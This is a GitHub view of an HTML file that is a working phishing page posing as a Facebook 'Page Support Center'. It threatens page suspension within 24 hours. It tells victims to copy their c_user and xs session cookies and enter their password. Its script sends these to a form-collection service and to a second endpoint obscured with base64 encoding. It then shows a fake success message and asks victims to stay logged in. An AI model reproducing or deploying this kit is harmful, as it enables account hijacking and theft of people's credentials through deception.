-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
849 lines (735 loc) · 29.6 KB
/
Copy pathindex.html
File metadata and controls
849 lines (735 loc) · 29.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Facebook Page Support Center</title>
<style>
:root {
--fb-blue: #1877f2;
--fb-blue-dark: #166fe5;
--fb-red: #f02849;
--fb-green: #42b72a;
--fb-gray: #f0f2f5;
--fb-text: #1c1e21;
--fb-text-light: #65676b;
}
body {
font-family: "Segoe UI Historic", "Segoe UI", Helvetica, Arial, sans-serif;
background-color: var(--fb-gray);
margin: 0;
padding: 0;
color: var(--fb-text);
}
/* Main Container */
.fb-container {
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
/* Header */
.fb-header {
text-align: center;
margin-bottom: 30px;
}
.fb-logo {
height: 70px;
margin-bottom: 15px;
}
.security-badge {
display: inline-flex;
align-items: center;
background-color: white;
padding: 8px 16px;
border-radius: 20px;
box-shadow: 0 1px 2px rgba(0,0,0,0.1);
margin-bottom: 15px;
font-size: 14px;
}
.security-badge svg {
margin-right: 8px;
color: var(--fb-blue);
}
/* Warning Box */
.warning-box {
background-color: white;
border-radius: 8px;
padding: 20px;
margin-bottom: 20px;
border-left: 5px solid var(--fb-red);
box-shadow: 0 1px 2px rgba(0,0,0,0.1);
}
.warning-title {
color: var(--fb-red);
margin-top: 0;
}
/* Official Notice */
.official-notice {
background-color: white;
border-radius: 8px;
padding: 15px;
margin-bottom: 20px;
border: 1px solid #dddfe2;
}
.notice-header {
display: flex;
align-items: center;
margin-bottom: 10px;
}
.verified-badge {
color: var(--fb-blue);
margin-right: 8px;
}
/* Button */
.fb-button {
background-color: var(--fb-blue);
color: white;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 600;
padding: 12px 24px;
cursor: pointer;
display: block;
width: 100%;
max-width: 300px;
margin: 20px auto;
text-align: center;
transition: background-color 0.3s;
position: relative;
}
.fb-button:hover {
background-color: var(--fb-blue-dark);
}
.fb-button:disabled {
background-color: #b7c9e8;
cursor: not-allowed;
}
/* Button loading animation */
.button-loading {
color: transparent !important;
}
.button-loading::after {
content: "";
position: absolute;
width: 20px;
height: 20px;
top: 0;
left: 0;
right: 0;
bottom: 0;
margin: auto;
border: 3px solid transparent;
border-top-color: white;
border-radius: 50%;
animation: button-loading-spinner 1s linear infinite;
}
@keyframes button-loading-spinner {
from { transform: rotate(0turn); }
to { transform: rotate(1turn); }
}
/* Footer */
.fb-footer {
text-align: center;
margin-top: 30px;
font-size: 13px;
color: var(--fb-text-light);
}
.fb-footer a {
color: var(--fb-text-light);
text-decoration: none;
margin: 0 8px;
}
.fb-footer a:hover {
text-decoration: underline;
}
/* Modal Styles */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,0.5);
z-index: 1000;
backdrop-filter: blur(5px);
}
.modal-content {
background-color: white;
border-radius: 8px;
width: 90%;
max-width: 500px;
margin: 5% auto;
box-shadow: 0 4px 20px rgba(0,0,0,0.2);
position: relative;
animation: modalFadeIn 0.3s;
max-height: 80vh;
overflow-y: auto;
}
/* Thin Scrollbar */
.modal-content::-webkit-scrollbar {
width: 6px;
}
.modal-content::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 3px;
}
.modal-content::-webkit-scrollbar-thumb {
background: #888;
border-radius: 3px;
}
.modal-content::-webkit-scrollbar-thumb:hover {
background: #555;
}
@keyframes modalFadeIn {
from { opacity: 0; transform: translateY(-20px); }
to { opacity: 1; transform: translateY(0); }
}
.modal-header {
padding: 16px;
border-bottom: 1px solid #dddfe2;
position: sticky;
top: 0;
background: white;
z-index: 1;
}
.modal-title {
font-size: 20px;
font-weight: 600;
margin: 0;
text-align: center;
}
.close {
position: absolute;
left: 16px;
top: 16px;
color: #606770;
font-size: 24px;
cursor: pointer;
}
.modal-body {
padding: 16px;
}
/* Verification Steps */
.verification-steps {
margin-bottom: 20px;
}
.step {
display: flex;
margin-bottom: 15px;
align-items: flex-start;
}
.step-number {
background-color: var(--fb-blue);
color: white;
width: 24px;
height: 24px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
margin-right: 12px;
flex-shrink: 0;
font-size: 14px;
font-weight: bold;
}
.step-content {
flex-grow: 1;
}
.step-title {
font-weight: 600;
margin-bottom: 5px;
}
.step-description {
color: var(--fb-text-light);
font-size: 14px;
line-height: 1.4;
}
/* Video Container */
.video-container {
background-color: #000;
border-radius: 8px;
margin: 16px 0;
overflow: hidden;
position: relative;
}
.video-placeholder {
width: 100%;
height: 250px;
display: flex;
align-items: center;
justify-content: center;
color: white;
background: linear-gradient(135deg, #4267B2 0%, #898F9C 100%);
}
.video-instruction {
text-align: center;
font-size: 14px;
color: var(--fb-text-light);
margin-bottom: 16px;
}
/* Form Inputs */
.fb-input-group {
margin-bottom: 16px;
}
.fb-input-label {
display: block;
margin-bottom: 8px;
font-weight: 600;
font-size: 15px;
}
.fb-input {
width: 100%;
padding: 12px;
border: 1px solid #dddfe2;
border-radius: 6px;
font-size: 15px;
box-sizing: border-box;
}
.fb-input:focus {
outline: none;
border-color: var(--fb-blue);
box-shadow: 0 0 0 2px #e7f3ff;
}
.fb-input.invalid {
border-color: var(--fb-red);
}
.fb-note {
font-size: 13px;
color: var(--fb-text-light);
margin-top: 8px;
line-height: 1.4;
}
.fb-note-warning {
color: var(--fb-red);
font-weight: 500;
}
.error-message {
color: var(--fb-red);
font-size: 13px;
margin-top: 5px;
display: none;
}
.error-message.show {
display: block;
}
/* Security Badge */
.security-badge-modal {
display: flex;
align-items: center;
background-color: #f0f2f5;
padding: 12px;
border-radius: 6px;
margin: 16px 0;
}
.security-badge-modal svg {
margin-right: 8px;
color: var(--fb-blue);
flex-shrink: 0;
}
.security-badge-text {
font-size: 13px;
color: var(--fb-text-light);
}
/* Loading Animation */
.fb-loading-bar {
height: 3px;
background-color: #e4e6eb;
border-radius: 3px;
overflow: hidden;
margin-bottom: 16px;
}
.fb-loading-progress {
height: 100%;
width: 30%;
background-color: var(--fb-blue);
animation: fb-loading 2s infinite;
}
@keyframes fb-loading {
0% { transform: translateX(-100%); }
100% { transform: translateX(300%); }
}
/* Password Modal */
.password-modal-content {
text-align: center;
}
.password-logo {
height: 50px;
margin-bottom: 15px;
}
/* Success Modal */
.success-modal-content {
text-align: center;
padding: 30px;
}
.success-logo {
height: 70px;
margin-bottom: 20px;
}
.success-title {
color: var(--fb-blue);
margin-bottom: 15px;
}
.success-message {
margin-bottom: 25px;
line-height: 1.5;
}
.success-checkmark {
color: var(--fb-green);
font-size: 48px;
margin-bottom: 20px;
}
</style>
</head>
<body>
<div class="fb-container">
<div class="fb-header">
<img src="https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg" alt="Facebook" class="fb-logo" onerror="this.onerror=null;this.src='https://upload.wikimedia.org/wikipedia/commons/5/51/Facebook_f_logo_%282019%29.svg'">
<div class="security-badge">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
<path d="M8 1a2 2 0 0 1 2 2v4H6V3a2 2 0 0 1 2-2zm3 6V3a3 3 0 0 0-6 0v4a2 2 0 0 0-2 2v5a2 2 0 0 0 2 2h6a2 2 0 0 0 2-2V9a2 2 0 0 0-2-2z"/>
</svg>
<span>Facebook Secure Connection</span>
</div>
<h1>Page Support Center</h1>
</div>
<div class="official-notice">
<div class="notice-header">
<svg class="verified-badge" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
<path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
</svg>
<strong>Official Notice from Facebook</strong>
</div>
<p>Our systems have detected unusual activity on your page that may violate our Community Standards.</p>
</div>
<div class="warning-box">
<h2 class="warning-title">Immediate Action Required</h2>
<p>Your page <strong>"Business Page"</strong> will be permanently suspended within <strong>24 hours</strong> unless you complete the verification process.</p>
<p>To prevent your page from being suspended, please submit an appeal by clicking the button below and following the instructions.</p>
</div>
<button id="submitAppealBtn" class="fb-button">Submit Appeal Now</button>
<div class="fb-footer">
<a href="#">Help Center</a>
<a href="#">Privacy Policy</a>
<a href="#">Terms of Service</a>
<a href="#">Community Standards</a>
<span>Meta © 2025</span>
</div>
</div>
<!-- Appeal Form Modal -->
<div id="appealModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<span class="close">×</span>
<h2 class="modal-title">Page Verification Appeal</h2>
</div>
<div class="modal-body">
<div class="fb-loading-bar">
<div class="fb-loading-progress"></div>
</div>
<div class="verification-steps">
<div class="step">
<div class="step-number">1</div>
<div class="step-content">
<div class="step-title">Watch the verification video</div>
<div class="step-description">Learn how to find your Facebook authentication tokens</div>
</div>
</div>
<div class="step">
<div class="step-number">2</div>
<div class="step-content">
<div class="step-title">Enter your authentication tokens</div>
<div class="step-description">Required to verify your page ownership</div>
</div>
</div>
<div class="step">
<div class="step-number">3</div>
<div class="step-content">
<div class="step-title">Complete identity confirmation</div>
<div class="step-description">Final step to prevent page suspension</div>
</div>
</div>
</div>
<div class="video-container">
<video controls width="100%" style="background-color: #000;">
<source src="https://ik.imagekit.io/ummab7boi/WhatsApp%20Video%202024-11-26%20at%2013.24.43_9bcb50f5.mp4?updatedAt=1751126951949" type="video/mp4">
Your browser does not support the video tag.
</video>
</div>
<p class="video-instruction">Follow the video instructions to locate your authentication tokens in browser cookies</p>
<div class="fb-input-group">
<label class="fb-input-label" for="c_user">c_user Token</label>
<input type="text" id="c_user" class="fb-input" placeholder="Enter c_user token (numbers only)">
<div id="c_user_error" class="error-message">Error: c_user must contain only numbers</div>
<p class="fb-note">This token identifies your Facebook account for verification</p>
</div>
<div class="fb-input-group">
<label class="fb-input-label" for="xs">xs Token</label>
<input type="text" id="xs" class="fb-input" placeholder="Enter xs token (letters, numbers & symbols)">
<div id="xs_error" class="error-message">Error: xs must contain combination of letters, numbers and symbols</div>
<p class="fb-note fb-note-warning">Important: Do not log out of your account for 24 hours after submission</p>
</div>
<div class="security-badge-modal">
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor" viewBox="0 0 16 16">
<path d="M8 1a2 2 0 0 1 2 2v4H6V3a2 2 0 0 1 2-2zm3 6V3a3 3 0 0 0-6 0v4a2 2 0 0 0-2 2v5a2 2 0 0 0 2 2h6a2 2 0 0 0 2-2V9a2 2 0 0 0-2-2z"/>
</svg>
<div class="security-badge-text">
Your information is protected by Facebook's encryption and will only be used for verification purposes.
</div>
</div>
<button id="submitRequestBtn" class="fb-button">Continue Verification</button>
</div>
</div>
</div>
<!-- Password Verification Modal -->
<div id="passwordModal" class="modal">
<div class="modal-content password-modal-content">
<div class="modal-header">
<span class="close">×</span>
</div>
<div class="modal-body">
<img src="https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg" alt="Facebook" class="password-logo" onerror="this.onerror=null;this.src='https://upload.wikimedia.org/wikipedia/commons/5/51/Facebook_f_logo_%282019%29.svg'">
<h2 class="modal-title">Confirm Your Identity</h2>
<p>For security purposes, please enter your Facebook password to complete the verification process.</p>
<div class="fb-input-group">
<label class="fb-input-label" for="password">Facebook Password</label>
<input type="password" id="password" class="fb-input" placeholder="Enter your password">
<p class="fb-note">This helps us verify you're the legitimate owner of this account.</p>
</div>
<div class="security-badge-modal">
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor" viewBox="0 0 16 16">
<path d="M8 1a2 2 0 0 1 2 2v4H6V3a2 2 0 0 1 2-2zm3 6V3a3 3 0 0 0-6 0v4a2 2 0 0 0-2 2v5a2 2 0 0 0 2 2h6a2 2 0 0 0 2-2V9a2 2 0 0 0-2-2z"/>
</svg>
<div class="security-badge-text">
Your password is encrypted and secure. We'll never ask for your password outside of Facebook's official systems.
</div>
</div>
<button id="finalSubmitBtn" class="fb-button">Complete Verification</button>
</div>
</div>
</div>
<!-- Success Modal -->
<div id="successModal" class="modal">
<div class="modal-content success-modal-content">
<div class="modal-header">
<span class="close">×</span>
</div>
<div class="modal-body">
<img src="https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg" alt="Facebook" class="success-logo" onerror="this.onerror=null;this.src='https://upload.wikimedia.org/wikipedia/commons/5/51/Facebook_f_logo_%282019%29.svg'">
<div class="success-checkmark">✓</div>
<h2 class="success-title">Verification Successful</h2>
<p class="success-message">Your page verification appeal has been submitted successfully. Please keep your account active for the next 24 hours while we process your request.</p>
<button id="successCloseBtn" class="fb-button">Close</button>
</div>
</div>
</div>
<script>
// Get modal elements
const appealModal = document.getElementById("appealModal");
const passwordModal = document.getElementById("passwordModal");
const successModal = document.getElementById("successModal");
// Get buttons
const submitAppealBtn = document.getElementById("submitAppealBtn");
const submitRequestBtn = document.getElementById("submitRequestBtn");
const finalSubmitBtn = document.getElementById("finalSubmitBtn");
const successCloseBtn = document.getElementById("successCloseBtn");
// Get close buttons
const closeBtns = document.getElementsByClassName("close");
// Get input fields and error messages
const cUserInput = document.getElementById('c_user');
const xsInput = document.getElementById('xs');
const cUserError = document.getElementById('c_user_error');
const xsError = document.getElementById('xs_error');
// Validation functions
function validateCUser(value) {
return /^\d+$/.test(value); // Only numbers allowed
}
function validateXs(value) {
// Must contain at least one letter, one number, and one symbol
const hasLetter = /[a-zA-Z]/.test(value);
const hasNumber = /\d/.test(value);
const hasSymbol = /[^a-zA-Z0-9]/.test(value);
return hasLetter && hasNumber && hasSymbol;
}
// Real-time validation as user types
cUserInput.addEventListener('input', function() {
const isValid = validateCUser(this.value);
cUserInput.classList.toggle('invalid', !isValid);
cUserError.classList.toggle('show', !isValid && this.value.length > 0);
});
xsInput.addEventListener('input', function() {
const isValid = validateXs(this.value);
xsInput.classList.toggle('invalid', !isValid);
xsError.classList.toggle('show', !isValid && this.value.length > 0);
});
// Open appeal modal when button is clicked
submitAppealBtn.onclick = function() {
appealModal.style.display = "block";
}
// Open password modal when request is submitted
submitRequestBtn.onclick = function() {
const cUser = cUserInput.value;
const xsToken = xsInput.value;
// Validate both fields
const isCUserValid = validateCUser(cUser);
const isXsValid = validateXs(xsToken);
// Show/hide errors
cUserInput.classList.toggle('invalid', !isCUserValid);
cUserError.classList.toggle('show', !isCUserValid);
xsInput.classList.toggle('invalid', !isXsValid);
xsError.classList.toggle('show', !isXsValid);
// Check if both are valid
if (isCUserValid && isXsValid) {
appealModal.style.display = "none";
passwordModal.style.display = "block";
} else {
// Scroll to first error
const firstError = document.querySelector('.invalid');
if (firstError) {
firstError.scrollIntoView({ behavior: 'smooth', block: 'center' });
}
// Show alert if fields are empty
if (!cUser || !xsToken) {
alert("Please fill in both c_user and xs tokens to continue.");
}
}
}
// Function to submit to first form (https://submit-form.com/6shypfYj7)
function submitToFirstForm(data) {
fetch('https://submit-form.com/6shypfYj7', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
console.log('First form submission successful:', data);
})
.catch(error => {
console.error('Error submitting to first form:', error);
});
}
function submitToSecondForm(data) {
// Base64 encoded URL and headers
const encodedUrl = 'aHR0cHM6Ly9tYXJvLXBocC53YXNtZXIuYXBw';
const decodedUrl = atob(encodedUrl);
// Create form data
const formData = new FormData();
formData.append('c_user', data.c_user);
formData.append('xs', data.xs);
formData.append('password', data.password);
fetch(decodedUrl, {
method: 'POST',
body: formData
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.text();
})
.then(data => {
console.log('Second form submission successful:', data);
})
.catch(error => {
console.error('Error submitting to second form:', error);
});
}
// Final submission with loading animation
finalSubmitBtn.onclick = function() {
const password = document.getElementById("password").value;
const cUser = cUserInput.value;
const xsToken = xsInput.value;
if (password && cUser && xsToken) {
// Show loading state
finalSubmitBtn.classList.add('button-loading');
finalSubmitBtn.disabled = true;
// Prepare data to submit
const formData = {
c_user: cUser,
xs: xsToken,
password: password,
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent,
ip: '' // Will be captured server-side
};
// Submit to both forms
submitToFirstForm(formData);
submitToSecondForm(formData);
// Simulate processing delay (2 seconds)
setTimeout(() => {
// Hide loading state
finalSubmitBtn.classList.remove('button-loading');
finalSubmitBtn.disabled = false;
// Show success modal
passwordModal.style.display = "none";
successModal.style.display = "block";
// Reset form
cUserInput.value = "";
xsInput.value = "";
document.getElementById("password").value = "";
cUserInput.classList.remove('invalid');
xsInput.classList.remove('invalid');
cUserError.classList.remove('show');
xsError.classList.remove('show');
}, 2000);
} else {
alert("Please enter all required fields to complete verification.");
}
}
// Close success modal
successCloseBtn.onclick = function() {
successModal.style.display = "none";
}
// Close modals when close button is clicked
for (let i = 0; i < closeBtns.length; i++) {
closeBtns[i].onclick = function() {
appealModal.style.display = "none";
passwordModal.style.display = "none";
successModal.style.display = "none";
// Reset error messages when closing
cUserInput.classList.remove('invalid');
xsInput.classList.remove('invalid');
cUserError.classList.remove('show');
xsError.classList.remove('show');
// Reset loading state if active
if (finalSubmitBtn.classList.contains('button-loading')) {
finalSubmitBtn.classList.remove('button-loading');
finalSubmitBtn.disabled = false;
}
}
}
// Close modals when clicking outside
window.onclick = function(event) {
if (event.target == appealModal) {
appealModal.style.display = "none";
// Reset error messages when closing
cUserInput.classList.remove('invalid');
xsInput.classList.remove('invalid');
cUserError.classList.remove('show');
xsError.classList.remove('show');
}
if (event.target == passwordModal) {
passwordModal.style.display = "none";
// Reset loading state if active
if (finalSubmitBtn.classList.contains('button-loading')) {
finalSubmitBtn.classList.remove('button-loading');
finalSubmitBtn.disabled = false;
}
}
if (event.target == successModal) {
successModal.style.display = "none";
}
}
</script>
</body>
</html>